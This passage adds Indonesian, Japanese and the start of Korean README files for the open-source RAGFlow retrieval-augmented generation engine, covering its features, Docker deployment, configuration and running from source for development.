+> Semua gambar Docker dibangun untuk platform x86. Saat ini, kami tidak menawarkan gambar Docker untuk ARM64.
+> Jika Anda menggunakan platform ARM64, [silakan gunakan panduan ini untuk membangun gambar Docker yang kompatibel dengan sistem Anda](https://ragflow.io/docs/dev/build_docker_image).
+
+> Perintah di bawah ini mengunduh edisi v0.26.4 dari gambar Docker RAGFlow. Silakan merujuk ke tabel berikut untuk deskripsi berbagai edisi RAGFlow. Untuk mengunduh edisi RAGFlow yang berbeda dari v0.26.4, perbarui variabel RAGFLOW_IMAGE di docker/.env sebelum menggunakan docker compose untuk memulai server.
+
+```bash
+   $ cd ragflow/docker
+
+   git checkout v0.26.4
+   # Opsional: gunakan tag stabil (lihat releases: https://github.com/infiniflow/ragflow/releases)
+   # This steps ensures the **entrypoint.sh** file in the code matches the Docker image version.
+
+   # Use CPU for DeepDoc tasks:
+   $ docker compose -f docker-compose.yml up -d
+
+   # To use GPU to accelerate DeepDoc tasks:
+   # sed -i '1i DEVICE=gpu' .env
+   # docker compose -f docker-compose.yml up -d
+```
+
+> Catatan: Sebelum `v0.22.0`, kami menyediakan image dengan model embedding dan image slim tanpa model embedding. Detailnya sebagai berikut:
+
+| RAGFlow image tag | Image size (GB) | Has embedding models? | Stable?        |
+|-------------------|-----------------|-----------------------|----------------|
+| v0.21.1           | &approx;9       | ✔️                    | Stable release |
+| v0.21.1-slim      | &approx;2       | ❌                     | Stable release |
+
+> Mulai dari `v0.22.0`, kami hanya menyediakan edisi slim dan tidak lagi menambahkan akhiran **-slim** pada tag image.
+
+1. Periksa status server setelah server aktif dan berjalan:
+
+   ```bash
+   $ docker logs -f docker-ragflow-cpu-1
+   ```
+
+   _Output berikut menandakan bahwa sistem berhasil diluncurkan:_
+
+   ```bash
+
+         ____   ___    ______ ______ __
+        / __ \ /   |  / ____// ____// /____  _      __
+       / /_/ // /| | / / __ / /_   / // __ \| | /| / /
+      / _, _// ___ |/ /_/ // __/  / // /_/ /| |/ |/ /
+     /_/ |_|/_/  |_|\____//_/    /_/ \____/ |__/|__/
+
+    * Running on all addresses (0.0.0.0)
+   ```
+
+   > Jika Anda melewatkan langkah ini dan langsung login ke RAGFlow, browser Anda mungkin menampilkan error `network abnormal`
+   > karena RAGFlow mungkin belum sepenuhnya siap.
+   >
+2. Buka browser web Anda, masukkan alamat IP server Anda, dan login ke RAGFlow.
+
+   > Dengan pengaturan default, Anda hanya perlu memasukkan `http://IP_DEVICE_ANDA` (**tanpa** nomor port) karena
+   > port HTTP default `80` bisa dihilangkan saat menggunakan konfigurasi default.
+   >
+3. Dalam [service_conf.yaml.template](./docker/service_conf.yaml.template), pilih LLM factory yang diinginkan di `user_default_llm` dan perbarui
+   bidang `API_KEY` dengan kunci API yang sesuai.
+
+   > Lihat [llm_api_key_setup](https://ragflow.io/docs/dev/llm_api_key_setup) untuk informasi lebih lanjut.
+   >
+
+   _Sistem telah siap digunakan!_
+
+## 🔧 Konfigurasi
+
+Untuk konfigurasi sistem, Anda perlu mengelola file-file berikut:
+
+- [.env](./docker/.env): Menyimpan pengaturan dasar sistem, seperti `SVR_HTTP_PORT`, `MYSQL_PASSWORD`, dan
+  `MINIO_PASSWORD`.
+- [service_conf.yaml.template](./docker/service_conf.yaml.template): Mengonfigurasi aplikasi backend.
+- [docker-compose.yml](./docker/docker-compose.yml): Sistem ini bergantung pada [docker-compose.yml](./docker/docker-compose.yml) untuk memulai.
+
+Untuk memperbarui port HTTP default (80), buka [docker-compose.yml](./docker/docker-compose.yml) dan ubah `80:80`
+menjadi `<YOUR_SERVING_PORT>:80`.
+
+Pembaruan konfigurasi ini memerlukan reboot semua kontainer agar efektif:
+
+> ```bash
+> $ docker compose -f docker-compose.yml up -d
+> ```
+
+## 🔧 Membangun Docker Image
+
+Image ini berukuran sekitar 2 GB dan bergantung pada aplikasi LLM eksternal dan embedding.
+
+```bash
+git clone https://github.com/infiniflow/ragflow.git
+cd ragflow/
+docker build --platform linux/amd64 -f Dockerfile -t infiniflow/ragflow:nightly .
+```
+
+Jika berada di belakang proxy, Anda dapat melewatkan argumen proxy:
+
+```bash
+docker build --platform linux/amd64 \
+  --build-arg http_proxy=http://YOUR_PROXY:PORT \
+  --build-arg https_proxy=http://YOUR_PROXY:PORT \
+  -f Dockerfile -t infiniflow/ragflow:nightly .
+```
+
+## 🔨 Menjalankan Aplikasi dari untuk Pengembangan
+
+1. Instal `uv`, atau lewati langkah ini jika sudah terinstal:
+
+   ```bash
+   pipx install uv
+   ```
+2. Clone kode sumber dan instal dependensi Python:
+
+   ```bash
+   git clone https://github.com/infiniflow/ragflow.git
+   cd ragflow/
+   uv sync --python 3.13 # install RAGFlow dependent python modules
+   uv run python3 ragflow_deps/download_deps.py
+   lefthook install
+   ```
+3. Jalankan aplikasi yang diperlukan (MinIO, Elasticsearch, Redis, dan MySQL) menggunakan Docker Compose:
+
+   ```bash
+   docker compose -f docker/docker-compose-base.yml up -d
+   ```
+
+   Tambahkan baris berikut ke `/etc/hosts` untuk memetakan semua host yang ditentukan di **conf/service_conf.yaml** ke `127.0.0.1`:
+
+   ```
+   127.0.0.1       es01 infinity mysql minio redis sandbox-executor-manager
+   ```
+4. Jika Anda tidak dapat mengakses HuggingFace, atur variabel lingkungan `HF_ENDPOINT` untuk menggunakan situs mirror:
+
+   ```bash
+   export HF_ENDPOINT=https://hf-mirror.com
+   ```
+5. Jika sistem operasi Anda tidak memiliki jemalloc, instal sebagai berikut:
+
+   ```bash
+   # ubuntu
+   sudo apt-get install libjemalloc-dev
+   # centos
+   sudo yum install jemalloc
+   # mac
+   sudo brew install jemalloc
+   ```
+6. Jalankan aplikasi backend:
+
+   ```bash
+   source .venv/bin/activate
+   export PYTHONPATH=$(pwd)
+   bash docker/launch_backend_service.sh
+   ```
+7. Instal dependensi frontend:
+
+   ```bash
+   cd web
+   npm install
+   ```
+8. Jalankan aplikasi frontend:
+
+   ```bash
+   npm run dev
+   ```
+
+   _Output berikut menandakan bahwa sistem berhasil diluncurkan:_
+
+   ![](https://github.com/user-attachments/assets/0daf462c-a24d-4496-a66f-92533534e187)
+9. Hentikan layanan front-end dan back-end RAGFlow setelah pengembangan selesai:
+
+   ```bash
+   pkill -f "ragflow_server.py|task_executor.py"
+   ```
+
+## 📚 Dokumentasi
+
+- [Quickstart](https://ragflow.io/docs/dev/)
+- [Configuration](https://ragflow.io/docs/dev/configurations)
+- [Release notes](https://ragflow.io/docs/dev/release_notes)
+- [User guides](https://ragflow.io/docs/category/user-guides)
+- [Developer guides](https://ragflow.io/docs/category/developer-guides)
+- [References](https://ragflow.io/docs/dev/category/references)
+- [FAQs](https://ragflow.io/docs/dev/faq)
+
+## 📜 Roadmap
+
+Lihat [Roadmap RAGFlow 2026](https://github.com/infiniflow/ragflow/issues/12241)
+
+## 🏄 Komunitas
+
+- [Discord](https://discord.gg/NjYzJD3GM3)
+- [X](https://x.com/infiniflowai)
+- [GitHub Discussions](https://github.com/orgs/infiniflow/discussions)
+
+## 🙌 Kontribusi
+
+RAGFlow berkembang melalui kolaborasi open-source. Dalam semangat ini, kami menerima kontribusi dari komunitas.
+Jika Anda ingin berpartisipasi, tinjau terlebih dahulu [Panduan Kontribusi](https://ragflow.io/docs/dev/contributing).

README_ja.md

@@ -0,0 +1,385 @@
+<div align="center">
+<a href="https://cloud.ragflow.io/">
+<img src="https://raw.githubusercontent.com/infiniflow/ragflow/main/web/src/assets/logo-with-text.svg" width="520" alt="ragflow logo">
+</a>
+</div>
+
+<p align="center">
+  <a href="./README.md"><img alt="README in English" src="https://img.shields.io/badge/English-DFE0E5"></a>
+  <a href="./README_zh.md"><img alt="简体中文版自述文件" src="https://img.shields.io/badge/简体中文-DFE0E5"></a>
+  <a href="./README_tzh.md"><img alt="繁體中文版自述文件" src="https://img.shields.io/badge/繁體中文-DFE0E5"></a>
+  <a href="./README_ja.md"><img alt="日本語のREADME" src="https://img.shields.io/badge/日本語-DBEDFA"></a>
+  <a href="./README_ko.md"><img alt="한국어" src="https://img.shields.io/badge/한국어-DFE0E5"></a>
+  <a href="./README_fr.md"><img alt="README en Français" src="https://img.shields.io/badge/Français-DFE0E5"></a>
+  <a href="./README_id.md"><img alt="Bahasa Indonesia" src="https://img.shields.io/badge/Bahasa Indonesia-DFE0E5"></a>
+  <a href="./README_pt_br.md"><img alt="Português(Brasil)" src="https://img.shields.io/badge/Português(Brasil)-DFE0E5"></a>
+  <a href="./README_ar.md"><img alt="README in Arabic" src="https://img.shields.io/badge/Arabic-DFE0E5"></a>
+  <a href="./README_tr.md"><img alt="Türkçe README" src="https://img.shields.io/badge/Türkçe-DFE0E5"></a>
+</p>
+
+<p align="center">
+    <a href="https://x.com/intent/follow?screen_name=infiniflowai" target="_blank">
+        <img src="https://img.shields.io/twitter/follow/infiniflow?logo=X&color=%20%23f5f5f5" alt="follow on X(Twitter)">
+    </a>
+    <a href="https://cloud.ragflow.io" target="_blank">
+        <img alt="Static Badge" src="https://img.shields.io/badge/Get-Started-4e6b99">
+    </a>
+    <a href="https://hub.docker.com/r/infiniflow/ragflow" target="_blank">
+        <img src="https://img.shields.io/endpoint?url=https://raw.githubusercontent.com/infiniflow/ragflow-stats/main/badges/docker-pulls.json&style=flat-square&logo=docker&logoColor=white" alt="docker pull infiniflow/ragflow:v0.26.4">
+    </a>
+    <a href="https://github.com/infiniflow/ragflow/releases/latest">
+        <img src="https://img.shields.io/github/v/release/infiniflow/ragflow?color=blue&label=Latest%20Release" alt="Latest Release">
+    </a>
+    <a href="https://github.com/infiniflow/ragflow/blob/main/LICENSE">
+        <img height="21" src="https://img.shields.io/badge/License-Apache--2.0-ffffff?labelColor=d4eaf7&color=2e6cc4" alt="license">
+    </a>
+    <a href="https://deepwiki.com/infiniflow/ragflow">
+        <img alt="Ask DeepWiki" src="https://deepwiki.com/badge.svg">
+    </a>
+</p>
+
+<h4 align="center">
+  <a href="https://cloud.ragflow.io">Cloud</a> |
+  <a href="https://ragflow.io/docs/dev/">Document</a> |
+  <a href="https://github.com/infiniflow/ragflow/issues/12241">Roadmap</a> |
+  <a href="https://discord.gg/NjYzJD3GM3">Discord</a>
+</h4>
+
+<div align="center" style="margin-top:20px;margin-bottom:20px;">
+<img src="https://raw.githubusercontent.com/infiniflow/ragflow-docs/refs/heads/image/image/ragflow-octoverse.png" width="1200"/>
+</div>
+
+<div align="center">
+<a href="https://trendshift.io/repositories/9064" target="_blank"><img src="https://trendshift.io/api/badge/repositories/9064" alt="infiniflow%2Fragflow | Trendshift" style="width: 250px; height: 55px;" width="250" height="55"/></a>
+</div>
+
+## 💡 RAGFlow とは？
+
+[RAGFlow](https://ragflow.io/) は、先進的な[RAG](https://ragflow.io/basics/what-is-rag)（Retrieval-Augmented Generation）技術と Agent 機能を融合し、大規模言語モデル（LLM）に優れたコンテキスト層を構築する最先端のオープンソース RAG エンジンです。あらゆる規模の企業に対応可能な合理化された RAG ワークフローを提供し、統合型[コンテキストエンジン](https://ragflow.io/basics/what-is-agent-context-engine)と事前構築されたAgentテンプレートにより、開発者が複雑なデータを驚異的な効率性と精度で高精細なプロダクションレディAIシステムへ変換することを可能にします。
+
+## 🎮 はじめに
+
+当社のクラウドサービスをぜひお試しください：[https://cloud.ragflow.io](https://cloud.ragflow.io)。
+
+<div align="center" style="margin-top:20px;margin-bottom:20px;">
+<img src="https://raw.githubusercontent.com/infiniflow/ragflow-docs/refs/heads/image/image/chunking.gif" width="1200"/>
+<img src="https://raw.githubusercontent.com/infiniflow/ragflow-docs/refs/heads/image/image/agentic-dark.gif" width="1200"/>
+</div>
+
+## 🔥 最新情報
+
+- 2026-06-15 Feishu、Discord、Telegram、Lineなどの複数のチャットチャンネルをサポートします。
+- 2026-04-24 DeepSeek v4 をサポート。
+- 2026-03-24 [RAGFlow Skill on OpenClaw](https://clawhub.ai/yingfeng/ragflow-skill) — OpenClaw経由でRAGFlowデータセットにアクセスする公式スキルを提供。
+- 2025-12-26 AIエージェントの「メモリ」機能をサポート。
+- 2025-11-19 Gemini 3 Proをサポートしています。
+- 2025-11-12 Confluence、S3、Notion、Discord、Google Drive からのデータ同期をサポートします。
+- 2025-10-23 ドキュメント解析方法として MinerU と Docling をサポートします。
+- 2025-10-15 オーケストレーションされたデータパイプラインのサポート。
+- 2025-08-08 OpenAI の最新 GPT-5 シリーズモデルをサポートします。
+- 2025-08-01 エージェントワークフローとMCPをサポート。
+- 2025-05-23 エージェントに Python/JS コードエグゼキュータコンポーネントを追加しました。
+- 2025-03-19 PDFまたはDOCXファイル内の画像を理解するために、多モーダルモデルを使用することをサポートします。
+
+
+## 🎉 続きを楽しみに
+
+⭐️ リポジトリをスター登録して、エキサイティングな新機能やアップデートを最新の状態に保ちましょう！すべての新しいリリースに関する即時通知を受け取れます！ 🌟
+
+<div align="center" style="margin-top:20px;margin-bottom:20px;">
+<img src="https://github.com/user-attachments/assets/18c9707e-b8aa-4caf-a154-037089c105ba" width="1200"/>
+</div>
+
+## 🌟 主な特徴
+
+### 🍭 **"Quality in, quality out"**
+
+- 複雑な形式の非構造化データからの[深い文書理解](./deepdoc/README.md)ベースの知識抽出。
+- 無限のトークンから"干し草の山の中の針"を見つける。
+
+### 🍱 **テンプレートベースのチャンク化**
+
+- 知的で解釈しやすい。
+- テンプレートオプションが豊富。
+
+### 🌱 **ハルシネーションが軽減された根拠のある引用**
+
+- 可視化されたテキストチャンキング（text chunking）で人間の介入を可能にする。
+- 重要な参考文献のクイックビューと、追跡可能な引用によって根拠ある答えをサポートする。
+
+### 🍔 **多様なデータソースとの互換性**
+
+- Word、スライド、Excel、txt、画像、スキャンコピー、構造化データ、Web ページなどをサポート。
+
+### 🛀 **自動化された楽な RAG ワークフロー**
+
+- 個人から大企業まで対応できる RAG オーケストレーション（orchestration）。
+- カスタマイズ可能な LLM とエンベッディングモデル。
+- 複数の想起と融合された再ランク付け。
+- 直感的な API によってビジネスとの統合がシームレスに。
+
+## 🔎 システム構成
+
+<div align="center" style="margin-top:20px;margin-bottom:20px;">
+<img src="https://github.com/user-attachments/assets/31b0dd6f-ca4f-445a-9457-70cb44a381b2" width="1000"/>
+</div>
+
+## 🎬 セルフホスティング
+
+### 📝 必要条件
+
+- CPU >= 4 cores
+- RAM >= 16 GB
+- Disk >= 50 GB
+- Docker >= 24.0.0 & Docker Compose >= v2.26.1
+- Python >= 3.13
+- [gVisor](https://gvisor.dev/docs/user_guide/install/): RAGFlowのコード実行（サンドボックス）機能を利用する場合のみ必要です。
+
+> [!TIP]
+> ローカルマシン（Windows、Mac、または Linux）に Docker をインストールしていない場合は、[Docker Engine のインストール](https://docs.docker.com/engine/install/) を参照してください。
+
+### 🚀 サーバーを起動
+
+1. `vm.max_map_count` >= 262144 であることを確認する:
+
+   > `vm.max_map_count` の値をチェックするには:
+   >
+   > ```bash
+   > $ sysctl vm.max_map_count
+   > ```
+   >
+   > `vm.max_map_count` が 262144 より大きい値でなければリセットする。
+   >
+   > ```bash
+   > # In this case, we set it to 262144:
+   > $ sudo sysctl -w vm.max_map_count=262144
+   > ```
+   >
+   > この変更はシステム再起動後にリセットされる。変更を恒久的なものにするには、**/etc/sysctl.conf** の `vm.max_map_count` 値を適宜追加または更新する:
+   >
+   > ```bash
+   > vm.max_map_count=262144
+   > ```
+   >
+2. リポジトリをクローンする:
+
+   ```bash
+   $ git clone https://github.com/infiniflow/ragflow.git
+   ```
+3. ビルド済みの Docker イメージをビルドし、サーバーを起動する:
+
+> [!CAUTION]
+> 現在、公式に提供されているすべての Docker イメージは x86 アーキテクチャ向けにビルドされており、ARM64 用の Docker イメージは提供されていません。
+> ARM64 アーキテクチャのオペレーティングシステムを使用している場合は、[このドキュメント](https://ragflow.io/docs/dev/build_docker_image)を参照して Docker イメージを自分でビルドしてください。
+
+> 以下のコマンドは、RAGFlow Docker イメージの v0.26.4 エディションをダウンロードします。異なる RAGFlow エディションの説明については、以下の表を参照してください。v0.26.4 とは異なるエディションをダウンロードするには、docker/.env ファイルの RAGFLOW_IMAGE 変数を適宜更新し、docker compose を使用してサーバーを起動してください。
+
+```bash
+   $ cd ragflow/docker
+
+   git checkout v0.26.4
+   # 任意: 安定版タグを利用 (一覧: https://github.com/infiniflow/ragflow/releases)
+   # この手順は、コード内の entrypoint.sh ファイルが Docker イメージのバージョンと一致していることを確認します。
+
+   # Use CPU for DeepDoc tasks:
+   $ docker compose -f docker-compose.yml up -d
+
+   # To use GPU to accelerate DeepDoc tasks:
+   # sed -i '1i DEVICE=gpu' .env
+   # docker compose -f docker-compose.yml up -d
+```
+
+> 注意：`v0.22.0` より前のバージョンでは、embedding モデルを含むイメージと、embedding モデルを含まない slim イメージの両方を提供していました。詳細は以下の通りです：
+
+| RAGFlow image tag | Image size (GB) | Has embedding models? | Stable?        |
+|-------------------|-----------------|-----------------------|----------------|
+| v0.21.1           | &approx;9       | ✔️                    | Stable release |
+| v0.21.1-slim      | &approx;2       | ❌                     | Stable release |
+
+> `v0.22.0` 以降、当プロジェクトでは slim エディションのみを提供し、イメージタグに **-slim** サフィックスを付けなくなりました。
+
+   1. サーバーを立ち上げた後、サーバーの状態を確認する:
+
+   ```bash
+   $ docker logs -f docker-ragflow-cpu-1
+   ```
+
+   _以下の出力は、システムが正常に起動したことを確認するものです:_
+
+   ```bash
+        ____   ___    ______ ______ __
+       / __ \ /   |  / ____// ____// /____  _      __
+      / /_/ // /| | / / __ / /_   / // __ \| | /| / /
+     / _, _// ___ |/ /_/ // __/  / // /_/ /| |/ |/ /
+    /_/ |_|/_/  |_|\____//_/    /_/ \____/ |__/|__/
+
+    * Running on all addresses (0.0.0.0)
+   ```
+
+   > もし確認ステップをスキップして直接 RAGFlow にログインした場合、その時点で RAGFlow が完全に初期化されていない可能性があるため、ブラウザーがネットワーク異常エラーを表示するかもしれません。
+   >
+2. ウェブブラウザで、プロンプトに従ってサーバーの IP アドレスを入力し、RAGFlow にログインします。
+
+   > デフォルトの設定を使用する場合、デフォルトの HTTP サービングポート `80` は省略できるので、与えられたシナリオでは、`http://IP_OF_YOUR_MACHINE`（ポート番号は省略）だけを入力すればよい。
+   >
+3. [service_conf.yaml.template](./docker/service_conf.yaml.template) で、`user_default_llm` で希望の LLM ファクトリを選択し、`API_KEY` フィールドを対応する API キーで更新する。
+
+   > 詳しくは [llm_api_key_setup](https://ragflow.io/docs/dev/llm_api_key_setup) を参照してください。
+   >
+
+   _これで初期設定完了！ショーの開幕です！_
+
+## 🔧 コンフィグ
+
+システムコンフィグに関しては、以下のファイルを管理する必要がある:
+
+- [.env](./docker/.env): `SVR_HTTP_PORT`、`MYSQL_PASSWORD`、`MINIO_PASSWORD` などのシステムの基本設定を保持する。
+- [service_conf.yaml.template](./docker/service_conf.yaml.template): バックエンドのサービスを設定します。
+- [docker-compose.yml](./docker/docker-compose.yml): システムの起動は [docker-compose.yml](./docker/docker-compose.yml) に依存している。
+
+[.env](./docker/.env) ファイルの変更が [service_conf.yaml.template](./docker/service_conf.yaml.template) ファイルの内容と一致していることを確認する必要があります。
+
+> [./docker/README](./docker/README.md) ファイル ./docker/README には、service_conf.yaml.template ファイルで ${ENV_VARS} として使用できる環境設定とサービス構成の詳細な説明が含まれています。
+
+デフォルトの HTTP サービングポート(80)を更新するには、[docker-compose.yml](./docker/docker-compose.yml) にアクセスして、`80:80` を `<YOUR_SERVING_PORT>:80` に変更します。
+
+> すべてのシステム設定のアップデートを有効にするには、システムの再起動が必要です:
+>
+> ```bash
+> $ docker compose -f docker-compose.yml up -d
+> ```
+
+### Elasticsearch から Infinity にドキュメントエンジンを切り替えます
+
+RAGFlow はデフォルトで Elasticsearch を使用して全文とベクトルを保存します。［Infinity］に切り替え（https://github.com/infiniflow/infinity/)、次の手順に従います。
+
+1. 実行中のすべてのコンテナを停止するには：
+
+   ```bash
+   $ docker compose -f docker/docker-compose.yml down -v
+   ```
+
+   Note: `-v` は docker コンテナのボリュームを削除し、既存のデータをクリアします。
+2. **docker/.env** の「DOC \_ ENGINE」を「infinity」に設定します。
+3. 起動コンテナ：
+
+   ```bash
+   $ docker compose -f docker-compose.yml up -d
+   ```
+
+   > [!WARNING]
+   > Linux/arm64 マシンでの Infinity への切り替えは正式にサポートされていません。
+   >
+
+## 🔧 ソースコードで Docker イメージを作成
+
+この Docker イメージのサイズは約 1GB で、外部の大モデルと埋め込みサービスに依存しています。
+
+```bash
+git clone https://github.com/infiniflow/ragflow.git
+cd ragflow/
+docker build --platform linux/amd64 -f Dockerfile -t infiniflow/ragflow:nightly .
+```
+
+プロキシ環境下にいる場合は、プロキシ引数を指定できます：
+
+```bash
+docker build --platform linux/amd64 \
+  --build-arg http_proxy=http://YOUR_PROXY:PORT \
+  --build-arg https_proxy=http://YOUR_PROXY:PORT \
+  -f Dockerfile -t infiniflow/ragflow:nightly .
+```
+
+## 🔨 ソースコードからサービスを起動する方法
+
+1. `uv` をインストールする。すでにインストールされている場合は、このステップをスキップしてください:
+
+   ```bash
+   pipx install uv
+   ```
+2. ソースコードをクローンし、Python の依存関係をインストールする:
+
+   ```bash
+   git clone https://github.com/infiniflow/ragflow.git
+   cd ragflow/
+   uv sync --python 3.13 # install RAGFlow dependent python modules
+   uv run python3 ragflow_deps/download_deps.py
+   lefthook install
+   ```
+3. Docker Compose を使用して依存サービス（MinIO、Elasticsearch、Redis、MySQL）を起動する:
+
+   ```bash
+   docker compose -f docker/docker-compose-base.yml up -d
+   ```
+
+   `/etc/hosts` に以下の行を追加して、**conf/service_conf.yaml** に指定されたすべてのホストを `127.0.0.1` に解決します:
+
+   ```
+   127.0.0.1       es01 infinity mysql minio redis sandbox-executor-manager
+   ```
+4. HuggingFace にアクセスできない場合は、`HF_ENDPOINT` 環境変数を設定してミラーサイトを使用してください:
+
+   ```bash
+   export HF_ENDPOINT=https://hf-mirror.com
+   ```
+5. オペレーティングシステムにjemallocがない場合は、次のようにインストールします:
+
+   ```bash
+   # ubuntu
+   sudo apt-get install libjemalloc-dev
+   # centos
+   sudo yum install jemalloc
+   # mac
+   sudo brew install jemalloc
+   ```
+6. バックエンドサービスを起動する:
+
+   ```bash
+   source .venv/bin/activate
+   export PYTHONPATH=$(pwd)
+   bash docker/launch_backend_service.sh
+   ```
+7. フロントエンドの依存関係をインストールする:
+
+   ```bash
+   cd web
+   npm install
+   ```
+8. フロントエンドサービスを起動する:
+
+   ```bash
+   npm run dev
+   ```
+
+   _以下の画面で、システムが正常に起動したことを示します:_
+
+   ![](https://github.com/user-attachments/assets/0daf462c-a24d-4496-a66f-92533534e187)
+9. 開発が完了したら、RAGFlow のフロントエンド サービスとバックエンド サービスを停止します:
+
+   ```bash
+   pkill -f "ragflow_server.py|task_executor.py"
+   ```
+
+## 📚 ドキュメンテーション
+
+- [Quickstart](https://ragflow.io/docs/dev/)
+- [Configuration](https://ragflow.io/docs/dev/configurations)
+- [Release notes](https://ragflow.io/docs/dev/release_notes)
+- [User guides](https://ragflow.io/docs/category/user-guides)
+- [Developer guides](https://ragflow.io/docs/category/developer-guides)
+- [References](https://ragflow.io/docs/dev/category/references)
+- [FAQs](https://ragflow.io/docs/dev/faq)
+
+## 📜 ロードマップ
+
+[RAGFlow ロードマップ 2026](https://github.com/infiniflow/ragflow/issues/12241) を参照
+
+## 🏄 コミュニティ
+
+- [Discord](https://discord.gg/NjYzJD3GM3)
+- [X](https://x.com/infiniflowai)
+- [GitHub Discussions](https://github.com/orgs/infiniflow/discussions)
+
+## 🙌 コントリビュート
+
+RAGFlow はオープンソースのコラボレーションによって発展してきました。この精神に基づき、私たちはコミュニティからの多様なコントリビュートを受け入れています。 参加を希望される方は、まず [コントリビューションガイド](https://ragflow.io/docs/dev/contributing)をご覧ください。

README_ko.md

@@ -0,0 +1,389 @@
+<div align="center">
+<a href="https://cloud.ragflow.io/">
+<img src="https://raw.githubusercontent.com/infiniflow/ragflow/main/web/src/assets/logo-with-text.svg" width="520" alt="ragflow logo">
+</a>
+</div>
+
+<p align="center">
+  <a href="./README.md"><img alt="README in English" src="https://img.shields.io/badge/English-DFE0E5"></a>
+  <a href="./README_zh.md"><img alt="简体中文版自述文件" src="https://img.shields.io/badge/简体中文-DFE0E5"></a>
+  <a href="./README_tzh.md"><img alt="繁體版中文自述文件" src="https://img.shields.io/badge/繁體中文-DFE0E5"></a>
+  <a href="./README_ja.md"><img alt="日本語のREADME" src="https://img.shields.io/badge/日本語-DFE0E5"></a>
+  <a href="./README_ko.md"><img alt="한국어" src="https://img.shields.io/badge/한국어-DBEDFA"></a>
+  <a href="./README_fr.md"><img alt="README en Français" src="https://img.shields.io/badge/Français-DFE0E5"></a>
+  <a href="./README_id.md"><img alt="Bahasa Indonesia" src="https://img.shields.io/badge/Bahasa Indonesia-DFE0E5"></a>
+  <a href="./README_pt_br.md"><img alt="Português(Brasil)" src="https://img.shields.io/badge/Português(Brasil)-DFE0E5"></a>
+  <a href="./README_ar.md"><img alt="README in Arabic" src="https://img.shields.io/badge/Arabic-DFE0E5"></a>
+  <a href="./README_tr.md"><img alt="Türkçe README" src="https://img.shields.io/badge/Türkçe-DFE0E5"></a>
+</p>
+
+<p align="center">
+    <a href="https://x.com/intent/follow?screen_name=infiniflowai" target="_blank">
+        <img src="https://img.shields.io/twitter/follow/infiniflow?logo=X&color=%20%23f5f5f5" alt="follow on X(Twitter)">
+    </a>
+    <a href="https://cloud.ragflow.io" target="_blank">
+        <img alt="Static Badge" src="https://img.shields.io/badge/Get-Started-4e6b99">
+    </a>
+    <a href="https://hub.docker.com/r/infiniflow/ragflow" target="_blank">
+        <img src="https://img.shields.io/endpoint?url=https://raw.githubusercontent.com/infiniflow/ragflow-stats/main/badges/docker-pulls.json&style=flat-square&logo=docker&logoColor=white" alt="docker pull infiniflow/ragflow:v0.26.4">
+    </a>
+    <a href="https://github.com/infiniflow/ragflow/releases/latest">
+        <img src="https://img.shields.io/github/v/release/infiniflow/ragflow?color=blue&label=Latest%20Release" alt="Latest Release">
+    </a>
+    <a href="https://github.com/infiniflow/ragflow/blob/main/LICENSE">
+        <img height="21" src="https://img.shields.io/badge/License-Apache--2.0-ffffff?labelColor=d4eaf7&color=2e6cc4" alt="license">
+    </a>
+    <a href="https://deepwiki.com/infiniflow/ragflow">
+        <img alt="Ask DeepWiki" src="https://deepwiki.com/badge.svg">
+    </a>
+</p>
+
+<h4 align="center">
+  <a href="https://cloud.ragflow.io">Cloud</a> |
+  <a href="https://ragflow.io/docs/dev/">Document</a> |
+  <a href="https://github.com/infiniflow/ragflow/issues/12241">Roadmap</a> |
+  <a href="https://discord.gg/NjYzJD3GM3">Discord</a>
+</h4>
+
+<div align="center" style="margin-top:20px;margin-bottom:20px;">
+<img src="https://raw.githubusercontent.com/infiniflow/ragflow-docs/refs/heads/image/image/ragflow-octoverse.png" width="1200"/>
+</div>
+
+<div align="center">
+<a href="https://trendshift.io/repositories/9064" target="_blank"><img src="https://trendshift.io/api/badge/repositories/9064" alt="infiniflow%2Fragflow | Trendshift" style="width: 250px; height: 55px;" width="250" height="55"/></a>
+</div>
+
+
+## 💡 RAGFlow란?
+
+[RAGFlow](https://ragflow.io/) 는 최첨단 [RAG](https://ragflow.io/basics/what-is-rag)(Retrieval-Augmented Generation)와 Agent 기능을 융합하여 대규모 언어 모델(LLM)을 위한 우수한 컨텍스트 계층을 생성하는 선도적인 오픈소스 RAG 엔진입니다. 모든 규모의 기업에 적용 가능한 효율적인 RAG 워크플로를 제공하며, 통합 [컨텍스트 엔진](https://ragflow.io/basics/what-is-agent-context-engine)과 사전 구축된 Agent 템플릿을 통해 개발자들이 복잡한 데이터를 예외적인 효율성과 정밀도로 고급 구현도의 프로덕션 준비 완료 AI 시스템으로 변환할 수 있도록 지원합니다.
+
+## 🎮 시작하기
+
+[https://cloud.ragflow.io](https://cloud.ragflow.io)에서 저희 클라우드 서비스를 이용해 보세요.
+
+<div align="center" style="margin-top:20px;margin-bottom:20px;">
+<img src="https://raw.githubusercontent.com/infiniflow/ragflow-docs/refs/heads/image/image/chunking.gif" width="1200"/>
+<img src="https://raw.githubusercontent.com/infiniflow/ragflow-docs/refs/heads/image/image/agentic-dark.gif" width="1200"/>
+</div>
+
+## 🔥 업데이트
+
+- 2026-06-15 Feishu, Discord, Telegram, Line 등 다양한 채팅 채널을 지원합니다.
+- 2026-04-24 DeepSeek v4를 지원합니다.
+- 2026-03-24 [RAGFlow Skill on OpenClaw](https://clawhub.ai/yingfeng/ragflow-skill) — OpenClaw를 통해 RAGFlow 데이터셋에 접근하는 공식 스킬 제공.
+- 2025-12-26 AI 에이전트의 '메모리' 기능 지원.
+- 2025-11-19 Gemini 3 Pro를 지원합니다.
+- 2025-11-12 Confluence, S3, Notion, Discord, Google Drive에서 데이터 동기화를 지원합니다.
+- 2025-10-23 문서 파싱 방법으로 MinerU 및 Docling을 지원합니다.
+- 2025-10-15 조정된 데이터 파이프라인 지원.
+- 2025-08-08 OpenAI의 최신 GPT-5 시리즈 모델을 지원합니다.
+- 2025-08-01 에이전트 워크플로우와 MCP를 지원합니다.
+- 2025-05-23 Agent에 Python/JS 코드 실행기 구성 요소를 추가합니다.
+- 2025-03-19 PDF 또는 DOCX 파일 내의 이미지를 이해하기 위해 다중 모드 모델을 사용하는 것을 지원합니다.
+
+
+## 🎉 계속 지켜봐 주세요
+
+⭐️우리의 저장소를 즐겨찾기에 등록하여 흥미로운 새로운 기능과 업데이트를 최신 상태로 유지하세요! 모든 새로운 릴리스에 대한 즉시 알림을 받으세요! 🌟
+
+<div align="center" style="margin-top:20px;margin-bottom:20px;">
+<img src="https://github.com/user-attachments/assets/18c9707e-b8aa-4caf-a154-037089c105ba" width="1200"/>
+</div>
+
+## 🌟 주요 기능
+
+### 🍭 **"Quality in, quality out"**
+
